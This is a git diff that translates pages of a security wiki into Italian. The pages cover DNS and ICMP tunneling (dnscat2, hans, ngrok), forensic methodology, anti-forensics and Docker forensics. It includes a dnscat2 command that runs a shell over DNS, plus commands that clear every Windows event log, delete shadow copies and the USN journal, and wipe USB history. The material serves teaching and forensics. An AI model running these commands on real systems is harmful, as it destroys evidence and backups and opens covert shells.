+Puoi usare [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) per eseguire un client dnscat2 in powershell: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` - -#### **Port forwarding with dnscat** - +#### **Port forwarding con dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### Cambiare il DNS di proxychains -#### Change proxychains DNS +Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** potresti impostare l'IP del **domain controller**. -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Tunnel in Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## Tunneling ICMP ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +È necessario avere i permessi di root in entrambi i sistemi per creare adattatori tun e instradare i dati tra di essi utilizzando richieste di echo ICMP. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +[**Scaricalo da qui**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh @@ -570,32 +475,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -&#xNAN;_Exposition URI are like:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **è uno strumento per esporre soluzioni a Internet con un'unica riga di comando.**\ +&#xNAN;_Exposition URI sono come:_ **UID.ngrok.io** -### Installation - -- Create an account: https://ngrok.com/signup -- Client download: +### Installazione +- Crea un account: https://ngrok.com/signup +- Download del client: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### Usages di base -### Basic usages +**Documentazione:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -_It is also possible to add authentication and TLS, if necessary._ +_È anche possibile aggiungere autenticazione e TLS, se necessario._ #### Tunneling TCP - ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -603,49 +504,42 @@ _It is also possible to add authentication and TLS, if necessary._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### Esporre file con HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` - #### Sniffing HTTP calls -_Useful for XSS,SSRF,SSTI ..._\ -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). +_Utile per XSS, SSRF, SSTI ..._\ +Direttamente da stdout o nell'interfaccia HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). #### Tunneling internal HTTP service - ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yaml esempio di configurazione semplice -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: +Apre 3 tunnel: - 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ - +- 1 HTTP con esposizione di file statici da /tmp/httpbin/ ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcptunne - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcptunne +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## Altri strumenti da controllare - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index e725dfa85..e027412b0 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Metodologia Forense di Base {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Creazione e Montaggio di un'Immagine {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Analisi del Malware -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi utilizzare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file system, un'immagine della memoria, pcap... quindi è utile **tenere a mente queste azioni**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Ispezione di un'Immagine -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Se ti viene fornita un'**immagine forense** di un dispositivo, puoi iniziare **ad analizzare le partizioni, il file-system** utilizzato e **recuperare** potenzialmente **file interessanti** (anche quelli eliminati). Scopri come in: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +A seconda dei sistemi operativi utilizzati e persino della piattaforma, dovrebbero essere cercati diversi artefatti interessanti: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Ispezione approfondita di tipi di file specifici e Software -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Se hai un **file** molto **sospetto**, allora **a seconda del tipo di file e del software** che lo ha creato, potrebbero essere utili diversi **trucchi**.\ +Leggi la pagina seguente per scoprire alcuni trucchi interessanti: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Voglio fare una menzione speciale alla pagina: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Ispezione del Dump di Memoria {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Ispezione Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Tecniche Anti-Forensi** -Keep in mind the possible use of anti-forensic techniques: +Tieni a mente il possibile utilizzo di tecniche anti-forensi: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Ricerca di Minacce {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 94a381b98..c98709021 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,152 +1,152 @@ -# Anti-Forensic Techniques +# Tecniche Anti-Forensi {{#include ../../banners/hacktricks-training.md}} -## Timestamps +## Timestamp -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`. +Un attaccante potrebbe essere interessato a **cambiare i timestamp dei file** per evitare di essere rilevato.\ +È possibile trovare i timestamp all'interno del MFT negli attributi `$STANDARD_INFORMATION` \_\_ e \_\_ `$FILE_NAME`. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +Entrambi gli attributi hanno 4 timestamp: **Modifica**, **accesso**, **creazione** e **modifica del registro MFT** (MACE o MACB). -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windows explorer** e altri strumenti mostrano le informazioni da **`$STANDARD_INFORMATION`**. -### TimeStomp - Anti-forensic Tool +### TimeStomp - Strumento anti-forense -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Questo strumento **modifica** le informazioni sui timestamp all'interno di **`$STANDARD_INFORMATION`** **ma** **non** le informazioni all'interno di **`$FILE_NAME`**. Pertanto, è possibile **identificare** **attività** **sospette**. ### Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +Il **USN Journal** (Update Sequence Number Journal) è una funzionalità del NTFS (sistema di file Windows NT) che tiene traccia delle modifiche al volume. Lo strumento [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) consente di esaminare queste modifiche. ![](<../../images/image (801).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +L'immagine precedente è l'**output** mostrato dallo **strumento** dove si può osservare che alcune **modifiche sono state effettuate** al file. ### $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Tutte le modifiche ai metadati di un file system sono registrate** in un processo noto come [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). I metadati registrati sono conservati in un file chiamato `**$LogFile**`, situato nella directory radice di un file system NTFS. Strumenti come [LogFileParser](https://github.com/jschicht/LogFileParser) possono essere utilizzati per analizzare questo file e identificare le modifiche. ![](<../../images/image (137).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Ancora una volta, nell'output dello strumento è possibile vedere che **alcune modifiche sono state effettuate**. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Utilizzando lo stesso strumento è possibile identificare **a quale ora i timestamp sono stati modificati**: ![](<../../images/image (1089).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Ora di creazione del file +- ATIME: Ora di modifica del file +- MTIME: Modifica del registro MFT del file +- RTIME: Ora di accesso del file -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +### Confronto tra `$STANDARD_INFORMATION` e `$FILE_NAME` -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Un altro modo per identificare file modificati sospetti sarebbe confrontare il tempo su entrambi gli attributi cercando **discrepanze**. -### Nanoseconds +### Nanosecondi -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +I timestamp **NTFS** hanno una **precisione** di **100 nanosecondi**. Quindi, trovare file con timestamp come 2010-10-10 10:10:**00.000:0000 è molto sospetto**. -### SetMace - Anti-forensic Tool +### SetMace - Strumento anti-forense -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Questo strumento può modificare entrambi gli attributi `$STARNDAR_INFORMATION` e `$FILE_NAME`. Tuttavia, a partire da Windows Vista, è necessario un OS live per modificare queste informazioni. -## Data Hiding +## Nascondere Dati -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa e utilizza un cluster e mezzo, il **mezzo rimanente non verrà mai utilizzato** fino a quando il file non viene eliminato. Quindi, è possibile **nascondere dati in questo spazio di slack**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Ci sono strumenti come slacker che consentono di nascondere dati in questo spazio "nascosto". Tuttavia, un'analisi del `$logfile` e del `$usnjrnl` può mostrare che alcuni dati sono stati aggiunti: ![](<../../images/image (1060).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Quindi, è possibile recuperare lo spazio di slack utilizzando strumenti come FTK Imager. Nota che questo tipo di strumento può salvare il contenuto offuscato o persino crittografato. ## UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Questo è uno strumento che **spegnerà il computer se viene rilevata qualsiasi modifica nelle porte USB**.\ +Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **rivedere ogni script python in esecuzione**. -## Live Linux Distributions +## Distribuzioni Linux Live -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Queste distro sono **eseguite all'interno della memoria RAM**. L'unico modo per rilevarle è **nel caso in cui il file system NTFS sia montato con permessi di scrittura**. Se è montato solo con permessi di lettura, non sarà possibile rilevare l'intrusione. -## Secure Deletion +## Cancellazione Sicura [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +## Configurazione di Windows -It's possible to disable several windows logging methods to make the forensics investigation much harder. +È possibile disabilitare diversi metodi di registrazione di Windows per rendere l'indagine forense molto più difficile. -### Disable Timestamps - UserAssist +### Disabilitare Timestamp - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Questa è una chiave di registro che mantiene date e ore in cui ciascun eseguibile è stato eseguito dall'utente. -Disabling UserAssist requires two steps: +Disabilitare UserAssist richiede due passaggi: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Impostare due chiavi di registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, entrambe a zero per segnalare che vogliamo disabilitare UserAssist. +2. Cancellare i tuoi sottoalberi di registro che sembrano `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -### Disable Timestamps - Prefetch +### Disabilitare Timestamp - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Questo salverà informazioni sulle applicazioni eseguite con l'obiettivo di migliorare le prestazioni del sistema Windows. Tuttavia, questo può essere utile anche per pratiche forensi. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- Eseguire `regedit` +- Selezionare il percorso del file `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- Fare clic con il tasto destro su `EnablePrefetcher` e `EnableSuperfetch` +- Selezionare Modifica su ciascuno di questi per cambiare il valore da 1 (o 3) a 0 +- Riavviare -### Disable Timestamps - Last Access Time +### Disabilitare Timestamp - Ultimo Tempo di Accesso -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema prende il tempo per **aggiornare un campo di timestamp su ciascuna cartella elencata**, chiamato ultimo tempo di accesso. Su un volume NTFS molto utilizzato, questo può influenzare le prestazioni. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Aprire l'Editor del Registro (Regedit.exe). +2. Navigare a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. +3. Cercare `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungere questo DWORD e impostare il suo valore a 1, il che disabiliterà il processo. +4. Chiudere l'Editor del Registro e riavviare il server. -### Delete USB History +### Eliminare la Cronologia USB -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Tutti gli **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questo** eliminerai la cronologia USB.\ +Puoi anche utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) per essere sicuro di averle eliminate (e per eliminarle). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Questo dovrebbe essere eliminato. -### Disable Shadow Copies +### Disabilitare le Copie Shadow -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Elenca** le copie shadow con `vssadmin list shadowstorage`\ +**Eliminale** eseguendo `vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Puoi anche eliminarle tramite GUI seguendo i passaggi proposti in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Aprire il programma Servizi digitando "servizi" nella casella di ricerca dopo aver cliccato sul pulsante di avvio di Windows. +2. Dall'elenco, trovare "Volume Shadow Copy", selezionarlo e quindi accedere alle Proprietà facendo clic con il tasto destro. +3. Scegliere Disabilitato dal menu a discesa "Tipo di avvio" e quindi confermare la modifica facendo clic su Applica e OK. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +È anche possibile modificare la configurazione di quali file verranno copiati nella copia shadow nel registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -### Overwrite deleted files +### Sovrascrivere file eliminati -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- Puoi utilizzare uno **strumento di Windows**: `cipher /w:C` Questo indicherà a cipher di rimuovere qualsiasi dato dallo spazio su disco inutilizzato disponibile all'interno dell'unità C. +- Puoi anche utilizzare strumenti come [**Eraser**](https://eraser.heidi.ie) -### Delete Windows event logs +### Eliminare i registri eventi di Windows -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> Espandi "Registri di Windows" --> Fai clic con il tasto destro su ciascuna categoria e seleziona "Cancella registro" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +### Disabilitare i registri eventi di Windows - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- All'interno della sezione servizi disabilitare il servizio "Windows Event Log" +- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl` -### Disable $UsnJrnl +### Disabilitare $UsnJrnl - `fsutil usn deletejournal /d c:` diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 629251985..6d163f738 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## Modifica del contenitore +Ci sono sospetti che alcuni contenitori docker siano stati compromessi: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Puoi facilmente **trovare le modifiche apportate a questo contenitore rispetto all'immagine** con: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +Nel comando precedente **C** significa **Cambiato** e **A,** **Aggiunto**.\ +Se scopri che un file interessante come `/etc/shadow` è stato modificato, puoi scaricarlo dal container per controllare attività malevole con: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Puoi anche **confrontarlo con l'originale** eseguendo un nuovo container ed estraendo il file da esso: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Se scopri che **è stato aggiunto un file sospetto** puoi accedere al container e controllarlo: ```bash docker exec -it wordpress bash ``` +## Modifiche alle immagini -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Quando ti viene fornita un'immagine docker esportata (probabilmente in formato `.tar`), puoi utilizzare [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) per **estrarre un riepilogo delle modifiche**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Poi, puoi **decomprimere** l'immagine e **accedere ai blob** per cercare file sospetti che potresti aver trovato nella cronologia delle modifiche: ```bash tar -xf image.tar ``` +### Analisi di Base -### Basic Analysis - -You can get **basic information** from the image running: - +Puoi ottenere **informazioni di base** dall'immagine eseguendo: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +Puoi anche ottenere un riepilogo **storia delle modifiche** con: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Puoi anche generare un **dockerfile da un'immagine** con: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Per trovare file aggiunti/modificati nelle immagini docker puoi anche utilizzare il [**dive**](https://github.com/wagoodman/dive) (scaricalo da [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)): ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,19 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Questo ti consente di **navigare tra i diversi blob delle immagini docker** e controllare quali file sono stati modificati/aggiunti. **Rosso** significa aggiunto e **giallo** significa modificato. Usa **tab** per passare alla vista successiva e **space** per comprimere/aprire le cartelle. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Con die non sarai in grado di accedere al contenuto dei diversi stadi dell'immagine. Per farlo, dovrai **decomprimere ogni strato e accedervi**.\ +Puoi decomprimere tutti gli strati di un'immagine dalla directory in cui l'immagine è stata decompressa eseguendo: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Credenziali dalla memoria -## Credentials from memory +Nota che quando esegui un container docker all'interno di un host **puoi vedere i processi in esecuzione sul container dall'host** semplicemente eseguendo `ps -ef` -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` +Pertanto (come root) puoi **estrarre la memoria dei processi** dall'host e cercare **credenziali** proprio [**come nel seguente esempio**](../../linux-hardening/privilege-escalation/#process-memory). -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..0e120d3f2 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -2,17 +2,17 @@ # Baseline -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Una baseline consiste nel prendere uno snapshot di alcune parti di un sistema per **confrontarlo con uno stato futuro per evidenziare le modifiche**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Ad esempio, puoi calcolare e memorizzare l'hash di ciascun file del filesystem per poter scoprire quali file sono stati modificati.\ +Questo può essere fatto anche con gli account utente creati, i processi in esecuzione, i servizi in esecuzione e qualsiasi altra cosa che non dovrebbe cambiare molto, o affatto. ## File Integrity Monitoring -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +Il File Integrity Monitoring (FIM) è una tecnica di sicurezza critica che protegge gli ambienti IT e i dati tracciando le modifiche ai file. Comporta due passaggi chiave: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Baseline Comparison:** Stabilire una baseline utilizzando attributi dei file o checksum crittografici (come MD5 o SHA-2) per confronti futuri per rilevare modifiche. +2. **Real-Time Change Notification:** Ricevere avvisi istantanei quando i file vengono accessi o modificati, tipicamente attraverso estensioni del kernel del sistema operativo. ## Tools diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index a95a3bbff..0c3b1629c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,40 +1,30 @@ -# Image Acquisition & Mount +# Acquisizione e Montaggio {{#include ../../banners/hacktricks-training.md}} -
